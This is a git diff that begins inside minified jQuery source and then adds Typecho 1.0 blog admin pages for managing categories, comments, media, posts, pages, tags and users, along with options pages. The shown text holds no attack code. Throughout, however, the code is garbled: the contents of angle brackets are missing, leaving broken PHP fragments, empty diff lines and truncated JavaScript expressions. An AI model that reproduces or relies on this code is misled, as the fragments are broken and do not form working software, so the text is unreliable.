which,i=0,attrs={height:type};includeWidth=includeWidth?1:0;for(;i<4;i+=2-includeWidth){which=cssExpand[i];attrs["margin"+which]=attrs["padding"+which]=type}if(includeWidth){attrs.opacity=attrs.width=type}return attrs}function createTween(value,prop,animation){var tween,collection=(tweeners[prop]||[]).concat(tweeners["*"]),index=0,length=collection.length;for(;index1)},removeAttr:function(name){return this.each(function(){jQuery.removeAttr(this,name)})}});jQuery.extend({attr:function(elem,name,value){var hooks,ret,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}if(typeof elem.getAttribute===strundefined){return jQuery.prop(elem,name,value)}if(nType!==1||!jQuery.isXMLDoc(elem)){name=name.toLowerCase();hooks=jQuery.attrHooks[name]||(jQuery.expr.match.bool.test(name)?boolHook:nodeHook)}if(value!==undefined){if(value===null){jQuery.removeAttr(elem,name)}else{if(hooks&&"set" in hooks&&(ret=hooks.set(elem,value,name))!==undefined){return ret}else{elem.setAttribute(name,value+"");return value}}}else{if(hooks&&"get" in hooks&&(ret=hooks.get(elem,name))!==null){return ret}else{ret=jQuery.find.attr(elem,name);return ret==null?undefined:ret}}},removeAttr:function(elem,value){var name,propName,i=0,attrNames=value&&value.match(rnotwhite);if(attrNames&&elem.nodeType===1){while((name=attrNames[i++])){propName=jQuery.propFix[name]||name;if(jQuery.expr.match.bool.test(name)){elem[propName]=false}elem.removeAttribute(name)}}},attrHooks:{type:{set:function(elem,value){if(!support.radioValue&&value==="radio"&&jQuery.nodeName(elem,"input")){var val=elem.value;elem.setAttribute("type",value);if(val){elem.value=val}return value}}}}});boolHook={set:function(elem,value,name){if(value===false){jQuery.removeAttr(elem,name)}else{elem.setAttribute(name,name)}return name}};jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g),function(i,name){var getter=attrHandle[name]||jQuery.find.attr;attrHandle[name]=function(elem,name,isXML){var ret,handle;if(!isXML){handle=attrHandle[name];attrHandle[name]=ret;ret=getter(elem,name,isXML)!=null?name.toLowerCase():null;attrHandle[name]=handle}return ret}});var rfocusable=/^(?:input|select|textarea|button)$/i;jQuery.fn.extend({prop:function(name,value){return access(this,jQuery.prop,name,value,arguments.length>1)},removeProp:function(name){return this.each(function(){delete this[jQuery.propFix[name]||name]})}});jQuery.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(elem,name,value){var ret,hooks,notxml,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}notxml=nType!==1||!jQuery.isXMLDoc(elem);if(notxml){name=jQuery.propFix[name]||name;hooks=jQuery.propHooks[name]}if(value!==undefined){return hooks&&"set" in hooks&&(ret=hooks.set(elem,value,name))!==undefined?ret:(elem[name]=value)}else{return hooks&&"get" in hooks&&(ret=hooks.get(elem,name))!==null?ret:elem[name]}},propHooks:{tabIndex:{get:function(elem){return elem.hasAttribute("tabindex")||rfocusable.test(elem.nodeName)||elem.href?elem.tabIndex:-1}}}});if(!support.optSelected){jQuery.propHooks.selected={get:function(elem){var parent=elem.parentNode;if(parent&&parent.parentNode){parent.parentNode.selectedIndex}return null}}}jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({addClass:function(value){var classes,elem,cur,clazz,j,finalValue,proceed=typeof value==="string"&&value,i=0,len=this.length;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i=0){cur=cur.replace(" "+clazz+" "," ")}}finalValue=value?jQuery.trim(cur):"";if(elem.className!==finalValue){elem.className=finalValue}}}}return this},toggleClass:function(value,stateVal){var type=typeof value;if(typeof stateVal==="boolean"&&type==="string"){return stateVal?this.addClass(value):this.removeClass(value)}if(jQuery.isFunction(value)){return this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)})}return this.each(function(){if(type==="string"){var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];while((className=classNames[i++])){if(self.hasClass(className)){self.removeClass(className)}else{self.addClass(className)}}}else{if(type===strundefined||type==="boolean"){if(this.className){data_priv.set(this,"__className__",this.className)}this.className=this.className||value===false?"":data_priv.get(this,"__className__")||""}}})},hasClass:function(selector){var className=" "+selector+" ",i=0,l=this.length;for(;i=0){return true}}return false}});var rreturn=/\r/g;jQuery.fn.extend({val:function(value){var hooks,ret,isFunction,elem=this[0];if(!arguments.length){if(elem){hooks=jQuery.valHooks[elem.type]||jQuery.valHooks[elem.nodeName.toLowerCase()];if(hooks&&"get" in hooks&&(ret=hooks.get(elem,"value"))!==undefined){return ret}ret=elem.value;return typeof ret==="string"?ret.replace(rreturn,""):ret==null?"":ret}return}isFunction=jQuery.isFunction(value);return this.each(function(i){var val;if(this.nodeType!==1){return}if(isFunction){val=value.call(this,i,jQuery(this).val())}else{val=value}if(val==null){val=""}else{if(typeof val==="number"){val+=""}else{if(jQuery.isArray(val)){val=jQuery.map(val,function(value){return value==null?"":value+""})}}}hooks=jQuery.valHooks[this.type]||jQuery.valHooks[this.nodeName.toLowerCase()];if(!hooks||!("set" in hooks)||hooks.set(this,val,"value")===undefined){this.value=val}})}});jQuery.extend({valHooks:{option:{get:function(elem){var val=jQuery.find.attr(elem,"value");return val!=null?val:jQuery.trim(jQuery.text(elem))}},select:{get:function(elem){var value,option,options=elem.options,index=elem.selectedIndex,one=elem.type==="select-one"||index<0,values=one?null:[],max=one?index+1:options.length,i=index<0?max:one?index:0;for(;i=0)){optionSet=true}}if(!optionSet){elem.selectedIndex=-1}return values}}}});jQuery.each(["radio","checkbox"],function(){jQuery.valHooks[this]={set:function(elem,value){if(jQuery.isArray(value)){return(elem.checked=jQuery.inArray(jQuery(elem).val(),value)>=0)}}};if(!support.checkOn){jQuery.valHooks[this].get=function(elem){return elem.getAttribute("value")===null?"on":elem.value}}});jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu").split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(name,null,data,fn):this.trigger(name)}});jQuery.fn.extend({hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},bind:function(types,data,fn){return this.on(types,null,data,fn)},unbind:function(types,fn){return this.off(types,null,fn)},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn)},undelegate:function(selector,types,fn){return arguments.length===1?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now();var rquery=(/\?/);jQuery.parseJSON=function(data){return JSON.parse(data+"")};jQuery.parseXML=function(data){var xml,tmp;if(!data||typeof data!=="string"){return null}try{tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}catch(e){xml=undefined}if(!xml||xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+data)}return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)$/mg,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if(typeof dataTypeExpression!=="string"){func=dataTypeExpression;dataTypeExpression="*"}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){while((dataType=dataTypes[i++])){if(dataType[0]==="+"){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else{(structure[dataType]=structure[dataType]||[]).push(func)}}}}}function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){var inspected={},seekingTransport=(structure===transports);function inspect(dataType){var selected;inspected[dataType]=true;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if(typeof dataTypeOrTransport==="string"&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return false}else{if(seekingTransport){return !(selected=dataTypeOrTransport)}}});return selected}return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:(deep||(deep={})))[key]=src[key]}}if(deep){jQuery.extend(true,target,deep)}return target}function ajaxHandleResponses(s,jqXHR,responses){var ct,type,finalDataType,firstDataType,contents=s.contents,dataTypes=s.dataTypes;while(dataTypes[0]==="*"){dataTypes.shift();if(ct===undefined){ct=s.mimeType||jqXHR.getResponseHeader("Content-Type")}}if(ct){for(type in contents){if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}}}if(dataTypes[0] in responses){finalDataType=dataTypes[0]}else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}if(!firstDataType){firstDataType=type}}finalDataType=finalDataType||firstDataType}if(finalDataType){if(finalDataType!==dataTypes[0]){dataTypes.unshift(finalDataType)}return responses[finalDataType]}}function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1]){for(conv in s.converters){converters[conv.toLowerCase()]=s.converters[conv]}}current=dataTypes.shift();while(current){if(s.responseFields[current]){jqXHR[s.responseFields[current]]=response}if(!prev&&isSuccess&&s.dataFilter){response=s.dataFilter(response,s.dataType)}prev=current;current=dataTypes.shift();if(current){if(current==="*"){current=prev}else{if(prev!=="*"&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv){for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(conv===true){conv=converters[conv2]}else{if(converters[conv2]!==true){current=tmp[0];dataTypes.unshift(tmp[1])}}break}}}}if(conv!==true){if(conv&&s["throws"]){response=conv(response)}else{try{response=conv(response)}catch(e){return{state:"parsererror",error:conv?e:"No conversion from "+prev+" to "+current}}}}}}}}return{state:"success",data:response}}jQuery.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ajaxLocation,type:"GET",isLocal:rlocalProtocol.test(ajaxLocParts[1]),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":allTypes,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},ajaxPrefilter:addToPrefiltersOrTransports(prefilters),ajaxTransport:addToPrefiltersOrTransports(transports),ajax:function(url,options){if(typeof url==="object"){options=url;url=undefined}options=options||{};var transport,cacheURL,responseHeadersString,responseHeaders,timeoutTimer,parts,fireGlobals,i,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={readyState:0,getResponseHeader:function(key){var match;if(state===2){if(!responseHeaders){responseHeaders={};while((match=rheaders.exec(responseHeadersString))){responseHeaders[match[1].toLowerCase()]=match[2]}}match=responseHeaders[key.toLowerCase()]}return match==null?null:match},getAllResponseHeaders:function(){return state===2?responseHeadersString:null},setRequestHeader:function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}return this},overrideMimeType:function(type){if(!state){s.mimeType=type}return this},statusCode:function(map){var code;if(map){if(state<2){for(code in map){statusCode[code]=[statusCode[code],map[code]]}}else{jqXHR.always(map[jqXHR.status])}}return this},abort:function(statusText){var finalText=statusText||strAbort;if(transport){transport.abort(finalText)}done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(s.crossDomain==null){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!!(parts&&(parts[1]!==ajaxLocParts[1]||parts[2]!==ajaxLocParts[2]||(parts[3]||(parts[1]==="http:"?"80":"443"))!==(ajaxLocParts[3]||(ajaxLocParts[1]==="http:"?"80":"443"))))}if(s.data&&s.processData&&typeof s.data!=="string"){s.data=jQuery.param(s.data,s.traditional)}inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(state===2){return jqXHR}fireGlobals=s.global;if(fireGlobals&&jQuery.active++===0){jQuery.event.trigger("ajaxStart")}s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=(s.url+=(rquery.test(cacheURL)?"&":"?")+s.data);delete s.data}if(s.cache===false){s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++}}if(s.ifModified){if(jQuery.lastModified[cacheURL]){jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL])}if(jQuery.etag[cacheURL]){jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}}if(s.data&&s.hasContent&&s.contentType!==false||options.contentType){jqXHR.setRequestHeader("Content-Type",s.contentType)}jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+(s.dataTypes[0]!=="*"?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers){jqXHR.setRequestHeader(i,s.headers[i])}if(s.beforeSend&&(s.beforeSend.call(callbackContext,jqXHR,s)===false||state===2)){return jqXHR.abort()}strAbort="abort";for(i in {success:1,error:1,complete:1}){jqXHR[i](s[i])}transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(!transport){done(-1,"No Transport")}else{jqXHR.readyState=1;if(fireGlobals){globalEventContext.trigger("ajaxSend",[jqXHR,s])}if(s.async&&s.timeout>0){timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout)}try{state=1;transport.send(requestHeaders,done)}catch(e){if(state<2){done(-1,e)}else{throw e}}}function done(status,nativeStatusText,responses,headers){var isSuccess,success,error,response,modified,statusText=nativeStatusText;if(state===2){return}state=2;if(timeoutTimer){clearTimeout(timeoutTimer)}transport=undefined;responseHeadersString=headers||"";jqXHR.readyState=status>0?4:0;isSuccess=status>=200&&status<300||status===304;if(responses){response=ajaxHandleResponses(s,jqXHR,responses)}response=ajaxConvert(s,response,jqXHR,isSuccess);if(isSuccess){if(s.ifModified){modified=jqXHR.getResponseHeader("Last-Modified");if(modified){jQuery.lastModified[cacheURL]=modified}modified=jqXHR.getResponseHeader("etag");if(modified){jQuery.etag[cacheURL]=modified}}if(status===204||s.type==="HEAD"){statusText="nocontent"}else{if(status===304){statusText="notmodified"}else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}}else{error=statusText;if(status||!statusText){statusText="error";if(status<0){status=0}}}jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";if(isSuccess){deferred.resolveWith(callbackContext,[success,statusText,jqXHR])}else{deferred.rejectWith(callbackContext,[jqXHR,statusText,error])}jqXHR.statusCode(statusCode);statusCode=undefined;if(fireGlobals){globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error])}completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);if(!(--jQuery.active)){jQuery.event.trigger("ajaxStop")}}}return jqXHR},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json")},getScript:function(url,callback){return jQuery.get(url,undefined,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=undefined}return jQuery.ajax({url:url,type:method,dataType:type,data:data,success:callback})}});jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery._evalUrl=function(url){return jQuery.ajax({url:url,type:"GET",dataType:"script",async:false,global:false,"throws":true})};jQuery.fn.extend({wrapAll:function(html){var wrap;if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))})}if(this[0]){wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){wrap.insertBefore(this[0])}wrap.map(function(){var elem=this;while(elem.firstElementChild){elem=elem.firstElementChild}return elem}).append(this)}return this},wrapInner:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapInner(html.call(this,i))})}return this.each(function(){var self=jQuery(this),contents=self.contents();if(contents.length){contents.wrapAll(html)}else{self.append(html)}})},wrap:function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},unwrap:function(){return this.parent().each(function(){if(!jQuery.nodeName(this,"body")){jQuery(this).replaceWith(this.childNodes)}}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0};jQuery.expr.filters.visible=function(elem){return !jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj)){jQuery.each(obj,function(i,v){if(traditional||rbracket.test(prefix)){add(prefix,v)}else{buildParams(prefix+"["+(typeof v==="object"?i:"")+"]",v,traditional,add)}})}else{if(!traditional&&jQuery.type(obj)==="object"){for(name in obj){buildParams(prefix+"["+name+"]",obj[name],traditional,add)}}else{add(prefix,obj)}}}jQuery.param=function(a,traditional){var prefix,s=[],add=function(key,value){value=jQuery.isFunction(value)?value():(value==null?"":value);s[s.length]=encodeURIComponent(key)+"="+encodeURIComponent(value)};if(traditional===undefined){traditional=jQuery.ajaxSettings&&jQuery.ajaxSettings.traditional}if(jQuery.isArray(a)||(a.jquery&&!jQuery.isPlainObject(a))){jQuery.each(a,function(){add(this.name,this.value)})}else{for(prefix in a){buildParams(prefix,a[prefix],traditional,add)}}return s.join("&").replace(r20,"+")};jQuery.fn.extend({serialize:function(){return jQuery.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{name:elem.name,value:val.replace(rCRLF,"\r\n")}}):{name:elem.name,value:val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=function(){try{return new XMLHttpRequest()}catch(e){}};var xhrId=0,xhrCallbacks={},xhrSuccessStatus={0:200,1223:204},xhrSupported=jQuery.ajaxSettings.xhr();if(window.ActiveXObject){jQuery(window).on("unload",function(){for(var key in xhrCallbacks){xhrCallbacks[key]()}})}support.cors=!!xhrSupported&&("withCredentials" in xhrSupported);support.ajax=xhrSupported=!!xhrSupported;jQuery.ajaxTransport(function(options){var callback;if(support.cors||xhrSupported&&!options.crossDomain){return{send:function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields){for(i in options.xhrFields){xhr[i]=options.xhrFields[i]}}if(options.mimeType&&xhr.overrideMimeType){xhr.overrideMimeType(options.mimeType)}if(!options.crossDomain&&!headers["X-Requested-With"]){headers["X-Requested-With"]="XMLHttpRequest"}for(i in headers){xhr.setRequestHeader(i,headers[i])}callback=function(type){return function(){if(callback){delete xhrCallbacks[id];callback=xhr.onload=xhr.onerror=null;if(type==="abort"){xhr.abort()}else{if(type==="error"){complete(xhr.status,xhr.statusText)}else{complete(xhrSuccessStatus[xhr.status]||xhr.status,xhr.statusText,typeof xhr.responseText==="string"?{text:xhr.responseText}:undefined,xhr.getAllResponseHeaders())}}}}};xhr.onload=callback();xhr.onerror=callback("error");callback=xhrCallbacks[id]=callback("abort");try{xhr.send(options.hasContent&&options.data||null)}catch(e){if(callback){throw e}}},abort:function(){if(callback){callback()}}}}});jQuery.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){if(s.cache===undefined){s.cache=false}if(s.crossDomain){s.type="GET"}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,callback;return{send:function(_,complete){script=jQuery(" + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-categories.php b/Typecho/1.0/php-fpm/src/admin/manage-categories.php new file mode 100755 index 000000000..8124eac5f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-categories.php @@ -0,0 +1,154 @@ +to($categories); +?> + +
+
+ +
+ +
+ +
+
+
+ +
+ + +
+
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + have()): ?> + next()): ?> + + + + + + + + + + + + + + + +
name(); ?> + + + + children) > 0): ?> + children)); ?> + + + + slug(); ?> + defaultCategory == $categories->mid): ?> + + + + + count(); ?>
+
+
+ +
+
+
+
+ + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-comments.php b/Typecho/1.0/php-fpm/src/admin/manage-comments.php new file mode 100755 index 000000000..9dfeb468c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-comments.php @@ -0,0 +1,373 @@ +get('__typecho_all_comments') || 'on' == Typecho_Cookie::get('__typecho_all_comments')); +?> +
+
+ +
+
+ + +
+
+
+ +
+ + + get('status')): ?> + + +
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + have()): ?> + next()): ?> + + + + + + + + + + + + + +
+ + +
+ type): ?> + gravatar(40); ?> + + type): ?> + + +
+
+
+ author(true); ?> + mail): ?> +
mail(); ?> + + ip): ?> +
ip(); ?> + +
+
+
dateWord(); ?> 于 title(); ?>
+
+ content(); ?> +
+
+ status): ?> + + + + + + status): ?> + + + + + + status): ?> + + + + + + + + status && 'comment' == $comments->type): ?> + + + + +
+
+
+ + cid)): ?> + + +
+ +
+
+
+ +
+ + + get('status')): ?> + + +
+
+ have()): ?> +
    + pageNav(); ?> +
+ +
+
+
+
+
+
+ + + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-medias.php b/Typecho/1.0/php-fpm/src/admin/manage-medias.php new file mode 100755 index 000000000..1c08f79ca --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-medias.php @@ -0,0 +1,122 @@ + + +to($attachments); ?> +
+
+ +
+
+ +
+
+
+ +
+ + + +
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + have()): ?> + next()): ?> + attachment->mime); ?> + + + + + + + + + + + + + + + +
commentsNum(); ?> + + title(); ?> + + author(); ?> + parentPost->cid): ?> + parentPost->title(); ?> + + + + dateWord(); ?>
+
+
+ +
+
+
+ +
+ + +
+ +
+ have()): ?> +
    + pageNav(); ?> +
+ +
+
+ +
+
+
+
+ + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-pages.php b/Typecho/1.0/php-fpm/src/admin/manage-pages.php new file mode 100755 index 000000000..423770f10 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-pages.php @@ -0,0 +1,131 @@ + +
+
+ +
+
+
+
+
+ +
+ + +
+
+ + +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + to($pages); ?> + have()): ?> + next()): ?> + + + + + + + + + + + + + + + +
commentsNum(); ?> + title(); ?> + hasSaved || 'page_draft' == $pages->type) { + echo '' . _t('草稿') . ''; + } else if ('hidden' == $pages->status) { + echo '' . _t('隐藏') . ''; + } + ?> + type): ?> + + + slug(); ?>author(); ?> + hasSaved): ?> + + modified); ?> + word()); ?> + + + dateWord(); ?> + +
+
+
+
+
+
+
+ + + +status) || 'publish' == $request->get('status')): ?> + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-posts.php b/Typecho/1.0/php-fpm/src/admin/manage-posts.php new file mode 100755 index 000000000..c8f2f4ac6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-posts.php @@ -0,0 +1,152 @@ + +
+
+ +
+
+
+
+
+ +
+ + +
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + to($posts); ?> + have()): ?> + next()): ?> + + + + + + + + + + + + + + + +
commentsNum(); ?> + title(); ?> + hasSaved || 'post_draft' == $posts->type) { + echo '' . _t('草稿') . ''; + } else if ('hidden' == $posts->status) { + echo '' . _t('隐藏') . ''; + } else if ('waiting' == $posts->status) { + echo '' . _t('待审核') . ''; + } else if ('private' == $posts->status) { + echo '' . _t('私密') . ''; + } else if ($posts->password) { + echo '' . _t('密码保护') . ''; + } + ?> + type): ?> + + + author(); ?>categories; $length = count($categories); ?> + $val): ?> + adminUrl('manage-posts.php?category=' . $val['mid'] + . (isset($request->uid) ? '&uid=' . $request->uid : '') + . (isset($request->status) ? '&status=' . $request->status : '')); + echo '">' . $val['name'] . '' . ($key < $length - 1 ? ', ' : ''); ?> + + + hasSaved): ?> + + modified); ?> + word()); ?> + + + dateWord(); ?> + +
+
+
+ +
+
+
+ +
+ + +
+
+ + have()): ?> +
    + pageNav(); ?> +
+ +
+
+
+
+
+
+ + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-tags.php b/Typecho/1.0/php-fpm/src/admin/manage-tags.php new file mode 100755 index 000000000..b0f6ffd80 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-tags.php @@ -0,0 +1,91 @@ +to($tags); +?> + +
+
+ +
+ +
+ +
+
+
+ +
+ + +
+
+
+ +
    + have()): ?> + next()): ?> +
  • + + name(); ?> + +
  • + + +
    + +
+ +
+ +
+
+ form()->render(); ?> +
+
+
+
+ + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/manage-users.php b/Typecho/1.0/php-fpm/src/admin/manage-users.php new file mode 100755 index 000000000..5bfe7bfe1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/manage-users.php @@ -0,0 +1,118 @@ + +
+
+ +
+
+
+
+
+ +
+ + +
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + to($users); ?> + next()): ?> + + + + + + + + + + +
postsNum(); ?>name(); ?> + + screenName(); ?>mail): ?>mail(); ?>group) { + case 'administrator': + _e('管理员'); + break; + case 'editor': + _e('编辑'); + break; + case 'contributor': + _e('贡献者'); + break; + case 'subscriber': + _e('关注者'); + break; + case 'visitor': + _e('访问者'); + break; + default: + break; + } ?>
+
+
+ +
+
+
+ +
+ + +
+
+ have()): ?> +
    + pageNav(); ?> +
+ +
+
+
+
+
+
+ + diff --git a/Typecho/1.0/php-fpm/src/admin/media.php b/Typecho/1.0/php-fpm/src/admin/media.php new file mode 100755 index 000000000..34b6de817 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/media.php @@ -0,0 +1,194 @@ +to($attachment); +?> + +
+
+ +
+
+ attachment->isImage): ?> +

<?php $attachment->attachment->name(); ?>

+ + +

+ attachment->mime); ?> + + attachment->name(); ?> + attachment->size / 1024)); ?> Kb +

+ +

+ +

+ +
+
或者 %s选择文件上传%s', '', ''); ?>
+
    +
    +
    +
    + form()->render(); ?> +
    +
    +
    +
    + + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/menu.php b/Typecho/1.0/php-fpm/src/admin/menu.php new file mode 100755 index 000000000..88376da04 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/menu.php @@ -0,0 +1,15 @@ + + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-discussion.php b/Typecho/1.0/php-fpm/src/admin/options-discussion.php new file mode 100755 index 000000000..5468985b0 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-discussion.php @@ -0,0 +1,23 @@ + + +
    +
    + +
    +
    + form()->render(); ?> +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-general.php b/Typecho/1.0/php-fpm/src/admin/options-general.php new file mode 100755 index 000000000..062018a2a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-general.php @@ -0,0 +1,23 @@ + + +
    +
    + +
    +
    + form()->render(); ?> +
    +
    +
    +
